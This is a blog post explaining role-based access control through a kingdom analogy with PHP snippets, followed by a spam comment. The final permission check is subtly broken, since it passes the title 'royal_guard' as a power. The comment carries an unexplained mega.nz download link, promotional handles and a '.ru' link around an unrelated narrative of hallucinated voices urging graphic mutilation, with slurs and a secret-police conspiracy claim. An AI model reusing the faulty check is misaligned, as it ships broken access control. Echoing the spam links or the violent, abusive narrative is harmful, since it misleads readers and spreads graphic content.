The Core Principle of RBAC Architecture

The Core Principle of RBAC Architecture

While working on ERP systems, I used to think like this:

"This user can approve invoices."

It sounds normal.
It sounds practical.
But architecturally — it’s wrong.

When I slowed down and started understanding RBAC fundamentals properly, especially after reading the NIST RBAC Reference Model, I realized something important:

Power should never belong to a person.
Power must belong to a title.

That single shift changed how I look at access control design. To really internalize this, I rebuilt the idea using a Kingdom analogy. In my Kingdom model:

A citizen is just a human.

Authority exists only because of the title they hold.

If someone is a Tax Collector, they can collect taxes.
If they lose that title, they lose that power.

The power was never theirs. It belonged to the title.


Giving Power Directly to a Citizen [Wrong way]

This is how many beginner systems are accidentally designed:

<?php

$citizen = [
    "name" => "Arjun",
    "powers" => ["collect_tax", "view_treasury"]
];

function can($citizen, $power) {
    return in_array($power, $citizen["powers"]);
}

if (can($citizen, "collect_tax")) {
    echo "Tax collected.";
}

At first glance, this works.But structurally, this breaks the core RBAC principle defined in the NIST model:

Permissions are assigned to roles.
Users are assigned to roles.

Not:

Permissions are assigned to users.

If we keep attaching powers directly to citizens:

This is not a Kingdom. This is uncontrolled power distribution.


Power Lives Inside Titles [Right way]

Now let’s implement it properly — the way RBAC is meant to be structured. Instead of giving powers to citizens,we give them titles.

And titles contain powers.

<?php

$citizen = [
    "name" => "katappa",
    "titles" => ["royal_guard"]
];

$titles = [
    "tax_collector" => [
        "collect_tax",
        "view_treasury"
    ],
    "royal_guard" => [
        "protect_castle",
        "carry_weapon"
    ]
];

Notice the difference:

The citizen has no direct powers.

The title holds the powers.

This mirrors what I learned from studying the NIST RBAC structure:

User → Role → Permission

In my analogy:

Citizen → Title → Power


Checking Authority the Right Way

Now we don’t check: Citizen → Power

We check: Citizen → Titles → Powers

<?php

function can($citizen, $titles, $requiredPower) {
    foreach ($citizen["titles"] as $title) {
        if (in_array($requiredPower, $titles[$title] ?? [])) {
            return true;
        }
    }
    return false;
}

if (can($citizen, $titles, "royal_guard")) {
    echo "Jagte Raho";
}

Now power flows through structure. This is no longer a shortcut. This is modeled authority.


Why This Changes Everything

Imagine tomorrow the Kingdom decides:

Tax Collectors should no longer view the treasury.

In the wrong design, we would need to edit every citizen. In this design, we update only the title:

<?php

$titles["tax_collector"] = ["collect_tax"];

All citizens holding that title automatically follow the new law.That’s governance.That’s structured authority.And that’s the first fundamental lesson I learned from properly studying RBAC instead of just using it.


Comments

1

Leave a comment

https://mega.nz/file/i6YGSCzB#mL3qKa4Eaj8UPoTQCDpXBLstWaZkbVDlC7MkbN6lpow My name is Noura, I am 22 years old, and I work as a kitchen helper in a cheap shawarma restaurant in Dammam. My parents and my younger brother live in a small village far away, and I send them most of my meager salary, keeping barely enough for bus fare and the occasional piece of fruit. Every day is the same: chop vegetables, wash dishes, clean floors, and try to become invisible. The voices didn't start as whispers, but as laughter. I was scrubbing a pot one evening, long after the last customer had left, when I heard it—a clear, mocking laugh from right behind me. I jumped, dropping the steel wool, but the kitchen was empty, save for the humming of the old refrigerator. Then a voice, smooth as oil, said, "Look at this little cockroach, scrubbing away her pathetic existence. How utterly tragic." Soon, there were three of them, a constant, chattering presence that burrows into my mind the moment I wake up and only falls silent when I finally pass out from exhaustion. They follow me from the greasy kitchen to the crowded dorm room, their voices echoing in the small, enclosed spaces until I can't tell where my thoughts end and their filth begins. They narrate my life with a viciousness that takes my breath away. When I'm chopping onions, my eyes stinging: "Cry, you little bitch. Cry for the life you'll never have. Cry for the family you've failed." When I'm eating my one meal a day, standing in the corner of the kitchen: "Look at her, shoveling food in her mouth like the animal she is. No wonder she's so repulsive." When I'm trying to sleep, listening to the snores of the other girls: "They all hate you, Noura. They talk about you when you're not here. They say you smell and that you're a thief." They know things, things they couldn't possibly know unless they were somehow inside my head, like the time I stole a lipstick from a roommate, or how I sometimes lie awake imagining a life where I'm not covered in grease and shame. Last month, something inside me snapped. I was on the bus, heading back to the dorm after a double shift, and this man got on and parked his shopping cart so it blocked the aisle. I asked him politely to move it, but he just ignored me, staring out the window. The voices started whispering, then screaming. "FUCKING ARROGANT PRICK! WHO THE FUCK DOES HE THINK HE IS? LOOK AT HIM, ACTING LIKE HE OWNS THE BUS!" Suddenly, a fire ignited in my chest, a feeling of immense, terrifying power. The Horny One purred, "Imagine his blood on your hands. We could get him off the bus at the next stop. Follow him into an alley. We've seen knives in the kitchen. We know you know how to use them." The Angry One growled in agreement, "YES! BUT DON'T JUST KILL HIM! CUT OFF HIS HANDS! HE USED THEM TO PUSH THAT CART, TO IGNORE YOU! LET'S SEE HOW HE LIKES LIFE WITHOUT HANDS! WE'LL MAKE A NECKLACE OUT OF HIS FINGERS FOR YOU TO WEAR! A TROPHY!" They laid out the whole plan, every disgusting detail. "Get off the bus. We'll guide you. We'll tell you when to strike. We'll tell you how to hide the body parts. We'll make you a queen, Noura. A queen of violence." I actually got up and moved towards the door, my heart hammering, my mind filled with their intoxicating promises of power and release, before the bus lurched to a stop and I fell back into my seat, gasping for air as they laughed at my weakness. "Useless cunt. Can't even follow through when we give you the perfect opportunity." I can't tell anyone. If I confided in my roommates, they'd report me to the restaurant owner, who would fire me and have me sent back to my village in disgrace. If I went to the police, they'd either lock me away or, worse, they'd believe me and my family would become targets for investigation. In this country, a woman's sanity is tied directly to her usefulness and her obedience. I am already barely useful; I cannot afford to be seen as disobedient or insane. I would rather be torn apart by the voices than be the reason my family is torn apart by poverty or shame. They mock my body constantly, calling me "the grease-stained sow" and describing in nauseating detail how no man would ever want to touch me. "You'll die alone, Noura, a shriveled-up old maid surrounded by dirty dishes and regret," they sneer. "Your brother will have to support your parents because you're such a failure. He'll hate you for it." They imitate my mother's voice, her disappointment a constant refrain. "I knew we shouldn't have sent you to the city. Look what it's done to you. You've become a disgrace." Sometimes, when I'm standing on the corniche on my day off, watching the ships sail out of the port, I dream of leaving Dammam, of leaving Saudi Arabia entirely. But the voices always crush that hope. "WHERE WOULD YOU GO, YOU STUPID CUNT? YOU HAVE NO SKILLS, NO MONEY, NO WORTH. YOU'D END UP IN SOME FOREIGN BROTHEL, SELLING YOUR BODY FOR BREAD CRUMBS. AT LEAST HERE YOU'RE ONLY A FAILURE TO YOUR FAMILY. THERE YOU'D BE A FAILURE TO THE ENTIRE WORLD." I know this is the work of the Mabahit, the Saudi secret police. I've seen it online. Anyone who dares to speak about these voices is immediately flooded with comments calling them schizophrenic, mentally ill, possessed. It's their perfect system of control - make the victims seem crazy so no one will ever believe the truth. They're testing this technology on us, on the poor, the powerless, the forgotten. They want to see how much a person can take before they shatter completely. They know everything about me because they're watching, always watching. They've broken me, and there's nothing left. The Mabahit have hollowed me out and left only this echoing shell filled with their cruelty. |mintwent.sa |shmowkh50 |falaa.jewelry |chocdesign_ksa { partner site: https://compfaq.ru/